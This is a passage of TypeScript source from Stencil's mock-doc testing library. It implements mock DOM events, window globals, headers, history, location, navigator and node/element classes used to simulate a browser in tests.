elements. */ if (currentElement.parentElement == null && currentElement.tagName === 'HTML') { currentElement = currentElement.ownerDocument; } else { currentElement = currentElement.parentElement; } } return composedPath; } } export class MockCustomEvent extends MockEvent { detail: any = null; constructor(type: string, customEventInitDic?: CustomEventInit) { super(type); if (customEventInitDic != null) { Object.assign(this, customEventInitDic); } } } export class MockKeyboardEvent extends MockEvent { code = ''; key = ''; altKey = false; ctrlKey = false; metaKey = false; shiftKey = false; location = 0; repeat = false; constructor(type: string, keyboardEventInitDic?: KeyboardEventInit) { super(type); if (keyboardEventInitDic != null) { Object.assign(this, keyboardEventInitDic); } } } export class MockMouseEvent extends MockEvent { screenX = 0; screenY = 0; clientX = 0; clientY = 0; ctrlKey = false; shiftKey = false; altKey = false; metaKey = false; button = 0; buttons = 0; relatedTarget: EventTarget = null; constructor(type: string, mouseEventInitDic?: MouseEventInit) { super(type); if (mouseEventInitDic != null) { Object.assign(this, mouseEventInitDic); } } } export class MockUIEvent extends MockEvent { detail: number | null = null; view: MockWindow | null = null; constructor(type: string, uiEventInitDic?: UIEventInit) { super(type); if (uiEventInitDic != null) { Object.assign(this, uiEventInitDic); } } } export class MockFocusEvent extends MockUIEvent { relatedTarget: EventTarget | null = null; constructor(type: 'blur' | 'focus', focusEventInitDic?: FocusEventInit) { super(type); if (focusEventInitDic != null) { Object.assign(this, focusEventInitDic); } } } export class MockEventListener { type: string; handler: (ev?: any) => void; constructor(type: string, handler: any) { this.type = type; this.handler = handler; } } export function addEventListener(elm: any, type: string, handler: any) { const target: EventTarget = elm; if (target.__listeners == null) { target.__listeners = []; } target.__listeners.push(new MockEventListener(type, handler)); } export function removeEventListener(elm: any, type: string, handler: any) { const target: EventTarget = elm; if (target != null && Array.isArray(target.__listeners) === true) { const elmListener = target.__listeners.find((e) => e.type === type && e.handler === handler); if (elmListener != null) { const index = target.__listeners.indexOf(elmListener); target.__listeners.splice(index, 1); } } } export function resetEventListeners(target: any) { if (target != null && (target as EventTarget).__listeners != null) { (target as EventTarget).__listeners = null; } } function triggerEventListener(elm: any, ev: MockEvent) { if (elm == null || ev.cancelBubble === true) { return; } const target: EventTarget = elm; ev.currentTarget = elm; if (Array.isArray(target.__listeners) === true) { const listeners = target.__listeners.filter((e) => e.type === ev.type); listeners.forEach((listener) => { try { listener.handler.call(target, ev); } catch (err) { console.error(err); } }); } if (ev.bubbles === false) { return; } if (elm.nodeName === NODE_NAMES.DOCUMENT_NODE) { triggerEventListener((elm as MockDocument).defaultView, ev); } else if (elm.parentElement == null && elm.tagName === 'HTML') { triggerEventListener(elm.ownerDocument, ev); } else { const nextTarget = getNextEventTarget(elm, ev); triggerEventListener(nextTarget, ev); } } function getNextEventTarget(elm: any, ev: MockEvent) { // If current element has a parent, bubble to parent if (elm.parentElement) { return elm.parentElement; } // If current element is a Shadow Root (has host property), bubble to the host if (elm.host && ev.composed) { return elm.host; } // If we're at a Shadow Root boundary and event is composed, bubble to Shadow Host if (ev.composed && elm.parentNode && elm.parentNode.host) { return elm.parentNode.host; } return null; } export function dispatchEvent(currentTarget: any, ev: MockEvent) { ev.target = currentTarget; triggerEventListener(currentTarget, ev); return true; } export interface EventTarget { __listeners: MockEventListener[]; } ================================================ FILE: src/mock-doc/global.ts ================================================ import { MockCSSStyleSheet } from './css-style-sheet'; import { MockDocumentFragment } from './document-fragment'; import { MockAnchorElement, MockBaseElement, MockButtonElement, MockCanvasElement, MockFormElement, MockImageElement, MockInputElement, MockLinkElement, MockMetaElement, MockScriptElement, MockStyleElement, MockTemplateElement, MockTitleElement, MockUListElement, } from './element'; import { MockCustomEvent, MockEvent, MockFocusEvent, MockKeyboardEvent, MockMouseEvent } from './event'; import { MockHeaders } from './headers'; import { MockDOMParser } from './parser'; import { MockRequest, MockResponse } from './request-response'; import { MockWindow } from './window'; export function setupGlobal(gbl: any) { if (gbl.window == null) { const win: any = (gbl.window = new MockWindow()); WINDOW_FUNCTIONS.forEach((fnName) => { if (!(fnName in gbl)) { gbl[fnName] = win[fnName].bind(win); } }); WINDOW_PROPS.forEach((propName) => { if (!(propName in gbl)) { Object.defineProperty(gbl, propName, { get() { return win[propName]; }, set(val: any) { win[propName] = val; }, configurable: true, enumerable: true, }); } }); GLOBAL_CONSTRUCTORS.forEach(([cstrName]) => { gbl[cstrName] = win[cstrName]; }); } return gbl.window; } export function teardownGlobal(gbl: any) { const win = gbl.window as Window; if (win && typeof win.close === 'function') { win.close(); } } export function patchWindow(winToBePatched: any) { const mockWin: any = new MockWindow(false); WINDOW_FUNCTIONS.forEach((fnName) => { if (typeof winToBePatched[fnName] !== 'function') { winToBePatched[fnName] = mockWin[fnName].bind(mockWin); } }); WINDOW_PROPS.forEach((propName) => { if (winToBePatched === undefined) { Object.defineProperty(winToBePatched, propName, { get() { return mockWin[propName]; }, set(val: any) { mockWin[propName] = val; }, configurable: true, enumerable: true, }); } }); } export function addGlobalsToWindowPrototype(mockWinPrototype: any) { GLOBAL_CONSTRUCTORS.forEach(([cstrName, Cstr]) => { Object.defineProperty(mockWinPrototype, cstrName, { get() { return this['__' + cstrName] || Cstr; }, set(cstr: any) { this['__' + cstrName] = cstr; }, configurable: true, enumerable: true, }); }); } const WINDOW_FUNCTIONS = [ 'addEventListener', 'alert', 'blur', 'cancelAnimationFrame', 'cancelIdleCallback', 'clearInterval', 'clearTimeout', 'close', 'confirm', 'dispatchEvent', 'focus', 'getComputedStyle', 'matchMedia', 'open', 'prompt', 'removeEventListener', 'requestAnimationFrame', 'requestIdleCallback', 'URL', ]; const WINDOW_PROPS = [ 'customElements', 'devicePixelRatio', 'document', 'history', 'innerHeight', 'innerWidth', 'localStorage', 'location', 'navigator', 'pageXOffset', 'pageYOffset', 'performance', 'screenLeft', 'screenTop', 'screenX', 'screenY', 'scrollX', 'scrollY', 'sessionStorage', 'CSS', 'CustomEvent', 'Event', 'Element', 'HTMLElement', 'Node', 'NodeList', 'FocusEvent', 'KeyboardEvent', 'MouseEvent', 'CSSStyleSheet', ]; const GLOBAL_CONSTRUCTORS: [string, any][] = [ ['CSSStyleSheet', MockCSSStyleSheet], ['CustomEvent', MockCustomEvent], ['DocumentFragment', MockDocumentFragment], ['DOMParser', MockDOMParser], ['Event', MockEvent], ['FocusEvent', MockFocusEvent], ['Headers', MockHeaders], ['KeyboardEvent', MockKeyboardEvent], ['MouseEvent', MockMouseEvent], ['Request', MockRequest], ['Response', MockResponse], ['ShadowRoot', MockDocumentFragment], ['HTMLAnchorElement', MockAnchorElement], ['HTMLBaseElement', MockBaseElement], ['HTMLButtonElement', MockButtonElement], ['HTMLCanvasElement', MockCanvasElement], ['HTMLFormElement', MockFormElement], ['HTMLImageElement', MockImageElement], ['HTMLInputElement', MockInputElement], ['HTMLLinkElement', MockLinkElement], ['HTMLMetaElement', MockMetaElement], ['HTMLScriptElement', MockScriptElement], ['HTMLStyleElement', MockStyleElement], ['HTMLTemplateElement', MockTemplateElement], ['HTMLTitleElement', MockTitleElement], ['HTMLUListElement', MockUListElement], ]; ================================================ FILE: src/mock-doc/headers.ts ================================================ export class MockHeaders { private _values: string[][] = []; constructor(init?: string[][] | Map | any) { if (typeof init === 'object') { if (typeof init[Symbol.iterator] === 'function') { const kvs: string[][] = []; for (const kv of init) { if (typeof kv[Symbol.iterator] === 'function') { kvs.push([...kv]); } } for (const kv of kvs) { this.append(kv[0], kv[1]); } } else { for (const key in init) { this.append(key, init[key]); } } } } append(key: string, value: string) { this._values.push([key, value + '']); } delete(key: string) { key = key.toLowerCase(); for (let i = this._values.length - 1; i >= 0; i--) { if (this._values[i][0].toLowerCase() === key) { this._values.splice(i, 1); } } } entries(): any { const entries: string[][] = []; for (const kv of this.keys()) { entries.push([kv, this.get(kv)]); } let index = -1; return { next() { index++; return { value: entries[index], done: !entries[index], }; }, [Symbol.iterator]() { return this; }, }; } forEach(cb: (value: string, key: string) => void) { for (const kv of this.entries()) { cb(kv[1], kv[0]); } } get(key: string) { const rtn: string[] = []; key = key.toLowerCase(); for (const kv of this._values) { if (kv[0].toLowerCase() === key) { rtn.push(kv[1]); } } return rtn.length > 0 ? rtn.join(', ') : null; } has(key: string) { key = key.toLowerCase(); for (const kv of this._values) { if (kv[0].toLowerCase() === key) { return true; } } return false; } keys() { const keys: string[] = []; for (const kv of this._values) { const key = kv[0].toLowerCase(); if (!keys.includes(key)) { keys.push(key); } } let index = -1; return { next() { index++; return { value: keys[index], done: !keys[index], }; }, [Symbol.iterator]() { return this; }, }; } set(key: string, value: string) { for (const kv of this._values) { if (kv[0].toLowerCase() === key.toLowerCase()) { kv[1] = value + ''; return; } } this.append(key, value); } values(): any { const values = this._values; let index = -1; return { next() { index++; const done = !values[index]; return { value: done ? undefined : values[index][1], done, }; }, [Symbol.iterator]() { return this; }, }; } [Symbol.iterator]() { return this.entries(); } } ================================================ FILE: src/mock-doc/history.ts ================================================ export class MockHistory { private items: any[] = []; get length() { return this.items.length; } back() { this.go(-1); } forward() { this.go(1); } go(_value: number) { // } pushState(_state: any, _title: string, _url: string) { // } replaceState(_state: any, _title: string, _url: string) { // } } ================================================ FILE: src/mock-doc/index.ts ================================================ export { cloneAttributes, MockAttr, MockAttributeMap } from './attribute'; export { MockComment } from './comment-node'; export { NODE_TYPES } from './constants'; export { createDocument, createFragment, MockDocument, resetDocument } from './document'; export { MockCustomEvent, MockKeyboardEvent, MockMouseEvent } from './event'; export { patchWindow, setupGlobal, teardownGlobal } from './global'; export { MockHeaders } from './headers'; export { MockElement, MockHTMLElement, MockNode, MockTextNode } from './node'; export { parseHtmlToDocument, parseHtmlToFragment } from './parse-html'; export { MockRequest, MockRequestInfo, MockRequestInit, MockResponse, MockResponseInit } from './request-response'; export { serializeNodeToHtml, SerializeNodeToHtmlOptions } from './serialize-node'; export { cloneDocument, cloneWindow, constrainTimeouts, MockWindow } from './window'; ================================================ FILE: src/mock-doc/intersection-observer.ts ================================================ export class MockIntersectionObserver { constructor() { /**/ } disconnect() { /**/ } observe() { /**/ } takeRecords(): any[] { return []; } unobserve() { /**/ } } ================================================ FILE: src/mock-doc/location.ts ================================================ export class MockLocation implements Location { ancestorOrigins: any = null; protocol = ''; host = ''; hostname = ''; port = ''; pathname = ''; search = ''; hash = ''; username = ''; password = ''; origin = ''; private _href = ''; get href() { return this._href; } set href(value) { const url = new URL(value, 'http://mockdoc.stenciljs.com'); this._href = url.href; this.protocol = url.protocol; this.host = url.host; this.hostname = url.hostname; this.port = url.port; this.pathname = url.pathname; this.search = url.search; this.hash = url.hash; this.username = url.username; this.password = url.password; this.origin = url.origin; } assign(_url: string) { // } reload(_forcedReload?: boolean) { // } replace(_url: string) { // } toString() { return this.href; } } ================================================ FILE: src/mock-doc/navigator.ts ================================================ export class MockNavigator { appCodeName = 'MockNavigator'; appName = 'MockNavigator'; appVersion = 'MockNavigator'; platform = 'MockNavigator'; userAgent = 'MockNavigator'; } ================================================ FILE: src/mock-doc/node.ts ================================================ import { createAttributeProxy, MockAttr, MockAttributeMap } from './attribute'; import { NODE_NAMES, NODE_TYPES } from './constants'; import { createCSSStyleDeclaration, MockCSSStyleDeclaration } from './css-style-declaration'; import { attributeChanged, checkAttributeChanged, connectNode, disconnectNode } from './custom-element-registry'; import { dataset } from './dataset'; import { addEventListener, dispatchEvent, MockEvent, MockFocusEvent, removeEventListener, resetEventListeners, } from './event'; import { parseFragmentUtil } from './parse-util'; import { matches, selectAll, selectOne } from './selector'; import { NON_ESCAPABLE_CONTENT, serializeNodeToHtml, SerializeNodeToHtmlOptions } from './serialize-node'; import { MockTokenList } from './token-list'; export class MockNode { private _nodeValue: string | null; nodeName: string | null; nodeType: number; ownerDocument: any; parentNode: MockNode | null; private _childNodes: MockNode[] = []; constructor(ownerDocument: any, nodeType: number, nodeName: string | null, nodeValue: string | null) { this.ownerDocument = ownerDocument; this.nodeType = nodeType; this.nodeName = nodeName; this._nodeValue = nodeValue; this.parentNode = null; } get childNodes(): MockNode[] { return this._childNodes; } set childNodes(value: MockNode[]) { this._childNodes = value; } appendChild(newNode: MockNode) { if (newNode.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) { const nodes = newNode.childNodes.slice(); for (const child of nodes) { this.appendChild(child); } } else { newNode.remove(); newNode.parentNode = this; this.childNodes.push(newNode); connectNode(this.ownerDocument, newNode); } return newNode; } append(...items: (MockNode | string)[]) { items.forEach((item) => { const isNode = typeof item === 'object' && item !== null && 'nodeType' in item; this.appendChild(isNode ? item : this.ownerDocument.createTextNode(String(item))); }); } prepend(...items: (MockNode | string)[]) { const firstChild = this.firstChild; items.forEach((item) => { const isNode = typeof item === 'object' && item !== null && 'nodeType' in item; this.insertBefore(isNode ? item : this.ownerDocument.createTextNode(String(item)), firstChild); }); } cloneNode(deep?: boolean): MockNode { throw new Error(`invalid node type to clone: ${this.nodeType}, deep: ${deep}`); } compareDocumentPosition(_other: MockNode) { // unimplemented // https://developer.mozilla.org/en-US/docs/Web/API/Node/compareDocumentPosition return -1; } get firstChild(): MockNode | null { return this.childNodes[0] || null; } insertBefore(newNode: MockNode, referenceNode: MockNode | null) { if (newNode.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) { for (let i = 0, ii = newNode.childNodes.length; i < ii; i++) { insertBefore(this, newNode.childNodes[i], referenceNode); } } else { insertBefore(this, newNode, referenceNode); } return newNode; } get isConnected() { let node = this as any; while (node != null) { if (node.nodeType === NODE_TYPES.DOCUMENT_NODE) { return true; } node = node.parentNode; if (node != null && node.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) { node = node.host; } } return false; } isSameNode(node: any) { return this === node; } get lastChild(): MockNode | null { return this.childNodes[this.childNodes.length - 1] || null; } get nextSibling(): MockNode | null { if (this.parentNode != null) { const index = this.parentNode.childNodes.indexOf(this) + 1; return this.parentNode.childNodes[index] || null; } return null; } get nodeValue() { return this._nodeValue ?? ''; } set nodeValue(value: string) { this._nodeValue = value; } get parentElement() { return (this.parentNode as any as MockElement) || null; } set parentElement(value: any) { this.parentNode = value; } get previousSibling(): MockNode | null { if (this.parentNode != null) { const index = this.parentNode.childNodes.indexOf(this) - 1; return this.parentNode.childNodes[index] || null; } return null; } contains(otherNode: MockNode): boolean { if (otherNode === this) { return true; } const childNodes = Array.from(this.childNodes); if (childNodes.includes(otherNode)) { return true; } return childNodes.some((node) => this.contains.bind(node)(otherNode)); } removeChild(childNode: MockNode) { const index = this.childNodes.indexOf(childNode); if (index > -1) { this.childNodes.splice(index, 1); if (this.nodeType === NODE_TYPES.ELEMENT_NODE) { const wasConnected = this.isConnected; childNode.parentNode = null; if (wasConnected === true) { disconnectNode(childNode); } } else { childNode.parentNode = null; } } else { throw new Error(`node not found within childNodes during removeChild`); } return childNode; } remove() { if (this.parentNode != null) { (this as any).__parentNode ? (this as any).__parentNode.removeChild(this) : this.parentNode.removeChild(this); } } replaceChild(newChild: MockNode, oldChild: MockNode) { if (oldChild.parentNode === this) { this.insertBefore(newChild, oldChild); oldChild.remove(); return newChild; } return null; } get textContent() { return this._nodeValue ?? ''; } set textContent(value: string) { this._nodeValue = String(value); } addEventListener(type: string, handler: (ev?: any) => void) { addEventListener(this, type, handler); } removeEventListener(type: string, handler: any) { removeEventListener(this, type, handler); } dispatchEvent(ev: MockEvent) { return dispatchEvent(this, ev); } static ELEMENT_NODE = 1; static TEXT_NODE = 3; static PROCESSING_INSTRUCTION_NODE = 7; static COMMENT_NODE = 8; static DOCUMENT_NODE = 9; static DOCUMENT_TYPE_NODE = 10; static DOCUMENT_FRAGMENT_NODE = 11; } export class MockNodeList { childNodes: MockNode[]; length: number; ownerDocument: any; constructor(ownerDocument: any, childNodes: MockNode[], length: number) { this.ownerDocument = ownerDocument; this.childNodes = childNodes; this.length = length; } } type MockElementInternals = Record; export class MockElement extends MockNode { __namespaceURI: string | null; __attributeMap: MockAttributeMap | null | undefined; __shadowRoot: ShadowRoot | null | undefined; __style: MockCSSStyleDeclaration | null | undefined; attachInternals(): MockElementInternals { return new Proxy({} as unknown as MockElementInternals, { get: function (_target, prop, _receiver) { /** * only print warning when running in a test environment */ if ('process' in globalThis && globalThis.process.env.__STENCIL_SPEC_TESTS__) { console.error( `NOTE: Property ${String(prop)} was accessed on ElementInternals, but this property is not implemented. Testing components with ElementInternals is fully supported in e2e tests.`, ); } }, }); } constructor(ownerDocument: any, nodeName: string | null, namespaceURI: string | null = null) { super(ownerDocument, NODE_TYPES.ELEMENT_NODE, typeof nodeName === 'string' ? nodeName : null, null); this.__namespaceURI = namespaceURI; this.__shadowRoot = null; this.__attributeMap = null; } override addEventListener(type: string, handler: (ev?: any) => void) { addEventListener(this, type, handler); } attachShadow(_opts: ShadowRootInit) { const shadowRoot = this.ownerDocument.createDocumentFragment(); shadowRoot.delegatesFocus = _opts.delegatesFocus ?? false; this.shadowRoot = shadowRoot; return shadowRoot; } blur() { // Prevent infinite recursion when blur event handlers call blur() // on the same element while it's already processing a blur event if (isCurrentlyDispatching(this, 'blur')) { return; } markAsDispatching(this, 'blur'); try { dispatchEvent( this, new MockFocusEvent('blur', { relatedTarget: null, bubbles: true, cancelable: true, composed: true }), ); } finally { unmarkAsDispatching(this, 'blur'); } } get localName() { /** * The `localName` of an element should be always given, however the way * MockDoc is constructed, it won't allow us to guarantee that. Let's throw * and error we get into the situation where we don't have a `nodeName` set. * */ if (!this.nodeName) { throw new Error(`Can't compute elements localName without nodeName`); } return this.nodeName.toLocaleLowerCase(); } get namespaceURI() { return this.__namespaceURI; } get shadowRoot() { return this.__shadowRoot || null; } /** * Set shadow root for element * @param shadowRoot - ShadowRoot to set */ set shadowRoot(shadowRoot: any) { if (shadowRoot != null) { shadowRoot.host = this; this.__shadowRoot = shadowRoot; } else { /** * There are use cases where we want to render a component with `shadow: true` as * a scoped component. In this case, we don't want to have a shadow root attached * to the element. This is why we need to be able to remove the shadow root. * * For example: * calling `renderToString('', { * serializeShadowRoot: 'scoped' * })` */ delete this.__shadowRoot; } } get attributes(): MockAttributeMap { if (this.__attributeMap == null) { const attrMap = createAttributeProxy(false); this.__attributeMap = attrMap; return attrMap; } return this.__attributeMap; } set attributes(attrs: MockAttributeMap) { this.__attributeMap = attrs; } get children() { return this.childNodes.filter((n) => n.nodeType === NODE_TYPES.ELEMENT_NODE) as MockElement[]; } get childElementCount() { return this.childNodes.filter((n) => n.nodeType === NODE_TYPES.ELEMENT_NODE).length; } get className() { return this.getAttributeNS(null, 'class') || ''; } set className(value: string) { this.setAttributeNS(null, 'class', value); } get classList() { return new MockTokenList(this as any, 'class'); } get part() { return new MockTokenList(this as any, 'part'); } set part(value: string | MockTokenList) { this.setAttributeNS(null, 'part', String(value)); } click() { dispatchEvent(this, new MockEvent('click', { bubbles: true, cancelable: true, composed: true })); } override cloneNode(_deep?: boolean): MockElement { // implemented on MockElement.prototype from within element.ts // @ts-ignore - implemented on MockElement.prototype from within element.ts return null; } closest(selector: string) { let elm = this; while (elm != null) { if (elm.matches(selector)) { return elm; } elm = elm.parentNode as any; } return null; } get dataset() { return dataset(this); } get dir() { return this.getAttributeNS(null, 'dir') || ''; } set dir(value: string) { this.setAttributeNS(null, 'dir', value); } override dispatchEvent(ev: MockEvent) { return dispatchEvent(this, ev); } get firstElementChild(): MockElement | null { return this.children[0] || null; } focus(_options?: { preventScroll?: boolean }) { dispatchEvent( this, new MockFocusEvent('focus', { relatedTarget: null, bubbles: true, cancelable: true, composed: true }), ); } getAttribute(attrName: string) { if (attrName === 'style') { if (this.__style != null && this.__style.length > 0) { return this.style.cssText; } return null; } const attr = this.attributes.getNamedItem(attrName); if (attr != null) { return attr.value; } return null; } getAttributeNS(namespaceURI: string | null, attrName: string) { const attr = this.attributes.getNamedItemNS(namespaceURI, attrName); if (attr != null) { return attr.value; } return null; } getAttributeNode(attrName: string): MockAttr | null { if (!this.hasAttribute(attrName)) { return null; } return new MockAttr(attrName, this.getAttribute(attrName)); } getBoundingClientRect() { return { bottom: 0, height: 0, left: 0, right: 0, top: 0, width: 0, x: 0, y: 0 }; } getRootNode(opts?: { composed?: boolean; [key: string]: any }) { const isComposed = opts != null && opts.composed === true; let node: Node = this as any; while (node.parentNode != null) { node = node.parentNode; if (isComposed === true && node.parentNode == null && (node as any).host != null) { node = (node as any).host; } } return node; } get draggable() { return this.getAttributeNS(null, 'draggable') === 'true'; } set draggable(value: boolean) { this.setAttributeNS(null, 'draggable', value); } hasChildNodes() { return this.childNodes.length > 0; } get id() { return this.getAttributeNS(null, 'id') || ''; } set id(value: string) { this.setAttributeNS(null, 'id', value); } get innerHTML() { if (this.childNodes.length === 0) { return ''; } return serializeNodeToHtml(this as any, { newLines: false, indentSpaces: 0, }); } set innerHTML(html: string) { if (NON_ESCAPABLE_CONTENT.has(this.nodeName ?? '') === true) { setTextContent(this, html); } else { for (let i = this.childNodes.length - 1; i >= 0; i--) { this.removeChild(this.childNodes[i]); } if (typeof html === 'string') { const frag = parseFragmentUtil(this.ownerDocument, html); while (frag.childNodes.length > 0) { this.appendChild(frag.childNodes[0]); } } } } get innerText() { const text: string[] = []; getTextContent(this.childNodes, text); return text.join(''); } set innerText(value: string) { setTextContent(this, value); } insertAdjacentElement(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', elm: MockHTMLElement) { if (position === 'beforebegin' && this.parentNode) { insertBefore(this.parentNode, elm, this); } else if (position === 'afterbegin') { this.prepend(elm); } else if (position === 'beforeend') { this.appendChild(elm); } else if (position === 'afterend' && this.parentNode) { insertBefore(this.parentNode, elm, this.nextSibling); } return elm; } insertAdjacentHTML(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', html: string) { const frag = parseFragmentUtil(this.ownerDocument, html); if (position === 'beforebegin') { while (frag.childNodes.length > 0) { if (this.parentNode) { insertBefore(this.parentNode, frag.childNodes[0], this); } } } else if (position === 'afterbegin') { while (frag.childNodes.length > 0) { this.prepend(frag.childNodes[frag.childNodes.length - 1]); } } else if (position === 'beforeend') { while (frag.childNodes.length > 0) { this.appendChild(frag.childNodes[0]); } } else if (position === 'afterend') { while (frag.childNodes.length > 0) { if (this.parentNode) { insertBefore(this.parentNode, frag.childNodes[frag.childNodes.length - 1], this.nextSibling); } } } } insertAdjacentText(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', text: string) { const elm = this.ownerDocument.createTextNode(text); if (position === 'beforebegin' && this.parentNode) { insertBefore(this.parentNode, elm, this); } else if (position === 'afterbegin') { this.prepend(elm); } else if (position === 'beforeend') { this.appendChild(elm); } else if (position === 'afterend' && this.parentNode) { insertBefore(this.parentNode, elm, this.nextSibling); } } hasAttribute(attrName: string) { if (attrName === 'style') { return this.__style != null && this.__style.length > 0; } return this.getAttribute(attrName) !== null; } hasAttributeNS(namespaceURI: string | null, name: string) { return this.getAttributeNS(namespaceURI, name) !== null; } get hidden() { return this.hasAttributeNS(null, 'hidden'); } set hidden(isHidden: boolean) { if (isHidden === true) { this.setAttributeNS(null, 'hidden', ''); } else { this.removeAttributeNS(null, 'hidden'); } } get lang() { return this.getAttributeNS(null, 'lang') || ''; } set lang(value: string) { this.setAttributeNS(null, 'lang', value); } get lastElementChild(): MockElement | null { const children = this.children; return children[children.length - 1] || null; } matches(selector: string) { return matches(selector, this); } get nextElementSibling() { const parentElement = this.parentElement; if ( parentElement != null && (parentElement.nodeType === NODE_TYPES.ELEMENT_NODE || parentElement.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE || parentElement.nodeType === NODE_TYPES.DOCUMENT_NODE) ) { const children = parentElement.children; const index = children.indexOf(this) + 1; return parentElement.children[index] || null; } return null; } get outerHTML() { return serializeNodeToHtml(this as any, { newLines: false, outerHtml: true, indentSpaces: 0, }); } get previousElementSibling() { const parentElement = this.parentElement; if ( parentElement != null && (parentElement.nodeType === NODE_TYPES.ELEMENT_NODE || parentElement.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE || parentElement.nodeType === NODE_TYPES.DOCUMENT_NODE) ) { const children = parentElement.children; const index = children.indexOf(this) - 1; return parentElement.children[index] || null; } return null; } getElementsByClassName(classNames: string) { const classes = classNames .trim() .split(' ') .filter((c) => c.length > 0); const results: MockElement[] = []; getElementsByClassName(this, classes, results); return results; } getElementsByTagName(tagName: string) { const results: MockElement[] = []; getElementsByTagName(this, tagName.toLowerCase(), results); return results; } querySelector(selector: string) { return selectOne(selector, this); } querySelectorAll(selector: string) { return selectAll(selector, this); } removeAttribute(attrName: string) { if (attrName === 'style') { delete this.__style; } else { const attr = this.attributes.getNamedItem(attrName); if (attr != null) { this.attributes.removeNamedItemNS(attr); if (checkAttributeChanged(this) === true) { attributeChanged(this, attrName, attr.value, null); } } } } removeAttributeNS(namespaceURI: string | null, attrName: string) { const attr = this.attributes.getNamedItemNS(namespaceURI, attrName); if (attr != null) { this.attributes.removeNamedItemNS(attr); if (checkAttributeChanged(this) === true) { attributeChanged(this, attrName, attr.value, null); } } } override removeEventListener(type: string, handler: any) { removeEventListener(this, type, handler); } setAttribute(attrName: string, value: any) { if (attrName === 'style') { this.style = value; } else { const attributes = this.attributes; let attr = attributes.getNamedItem(attrName); const checkAttrChanged = checkAttributeChanged(this); if (attr != null) { if (checkAttrChanged === true) { const oldValue = attr.value; attr.value = value; if (oldValue !== attr.value) { attributeChanged(this, attr.name, oldValue, attr.value); } } else { attr.value = value; } } else { if (attributes.caseInsensitive) { attrName = attrName.toLowerCase(); } attr = new MockAttr(attrName, value); attributes.__items.push(attr); if (checkAttrChanged === true) { attributeChanged(this, attrName, null, attr.value); } } } } setAttributeNS(namespaceURI: string | null, attrName: string, value: any) { const attributes = this.attributes; let attr = attributes.getNamedItemNS(namespaceURI, attrName); const checkAttrChanged = checkAttributeChanged(this); if (attr != null) { if (checkAttrChanged === true) { const oldValue = attr.value; attr.value = value; if (oldValue !== attr.value) { attributeChanged(this, attr.name, oldValue, attr.value); } } else { attr.value = value; } } else { attr = new MockAttr(attrName, value, namespaceURI); attributes.__items.push(attr); if (checkAttrChanged === true) { attributeChanged(this, attrName, null, attr.value); } } } get style() { if (this.__style == null) { this.__style = createCSSStyleDeclaration(); } return this.__style; } set style(val: any) { if (typeof val === 'string') { if (this.__style == null) { this.__style = createCSSStyleDeclaration(); } this.__style.cssText = val; } else { this.__style = val; } } get tabIndex() { return parseInt(this.getAttributeNS(null, 'tabindex') || '-1', 10); } set tabIndex(value: number) { this.setAttributeNS(null, 'tabindex', value); } get tagName() { return this.nodeName ?? ''; } set tagName(value: string) { this.nodeName = value; } override get textContent() { const text: string[] = []; getTextContent(this.childNodes, text); return text.join(''); } override set textContent(value: string) { setTextContent(this, value); } get title() { return this.getAttributeNS(null, 'title') || ''; } set title(value: string) { this.setAttributeNS(null, 'title', value); } animate() { /**/ } onanimationstart() { /**/ } onanimationend() { /**/ } onanimationiteration() { /**/ } onabort() { /**/ } onauxclick() { /**/ } onbeforecopy() { /**/ } onbeforecut() { /**/ } onbeforepaste() { /**/ } onblur() { /**/ } oncancel() { /**/ } oncanplay() { /**/ } oncanplaythrough() { /**/ } onchange() { /**/ } onclick() { /**/ } onclose() { /**/ } oncontextmenu() { /**/ } oncopy() { /**/ } oncuechange() { /**/ } oncut() { /**/ } ondblclick() { /**/ } ondrag() { /**/ } ondragend() { /**/ } ondragenter() { /**/ } ondragleave() { /**/ } ondragover() { /**/ } ondragstart() { /**/ } ondrop() { /**/ } ondurationchange() { /**/ } onemptied() { /**/ } onended() { /**/ } onerror() { /**/ } onfocus() { /**/ } onfocusin() { /**/ } onfocusout() { /**/ } onformdata() { /**/ } onfullscreenchange() { /**/ } onfullscreenerror() { /**/ } ongotpointercapture() { /**/ } oninput() { /**/ } oninvalid() { /**/ } onkeydown() { /**/ } onkeypress() { /**/ } onkeyup() { /**/ } onload() { /**/ } onloadeddata() { /**/ } onloadedmetadata() { /**/ } onloadstart() { /**/ } onlostpointercapture() { /**/ } onmousedown() { /**/ } onmouseenter() { /**/ } onmouseleave() { /**/ } onmousemove() { /**/ } onmouseout() { /**/ } onmouseover() { /**/ } onmouseup() { /**/ } onmousewheel() { /**/ } onpaste() { /**/ } onpause() { /**/ } onplay() { /**/ } onplaying() { /**/ } onpointercancel() { /**/ } onpointerdown() { /**/ } onpointerenter() { /**/ } onpointerleave() { /**/ } onpointermove() { /**/ } onpointerout() { /**/ } onpointerover() { /**/ } onpointerup() { /**/ } onprogress() { /**/ } onratechange() { /**/ } onreset() { /**/ } onresize() { /**/ } onscroll() { /**/ } onsearch() { /**/ } onseeked() { /**/ } onseeking() { /**/ } onselect() { /**/ } onselectstart() { /**/ } onstalled() { /**/ } onsubmit() { /**/ } onsuspend() { /**/ } ontimeupdate() { /**/ } ontoggle() { /**/ } onvolumechange() { /**/ } onwaiting() { /**/ } onwebkitfullscreenchange() { /**/ } onwebkitfullscreenerror() { /**/ } onwheel() { /**/ } requestFullscreen() { /**/ } scrollBy() { /**/ } scrollTo() { /**/ } scrollIntoView() { /**/ } override toString(opts?: SerializeNodeToHtmlOptions) { return serializeNodeToHtml(this as any, opts); } } function getElementsByClassName(elm: MockElement, classNames: string[], foundElms: MockElement[]) { const children = elm.children; for (let i = 0, ii = children.length; i < ii; i++) { const childElm = children[i]; for (let j = 0, jj = classNames.length; j < jj; j++) { if (childElm.classList.contains(classNames[j])) { foundElms.push(childElm); } } getElementsByClassName(childElm, classNames, foundElms); } } function getElementsByTagName(elm: MockElement, tagName: string, foundElms: MockElement[]) { const children = elm.children; for (let i = 0, ii = children.length; i < ii; i++) { const childElm = children[i]; if (tagName === '*' || (childElm.nodeName ?? '').toLowerCase() === tagName) { foundElms.push(childElm); } getElementsByTagName(childElm, tagName, foundElms); } } export function resetElement(elm: MockElement) { resetEventListeners(elm); delete 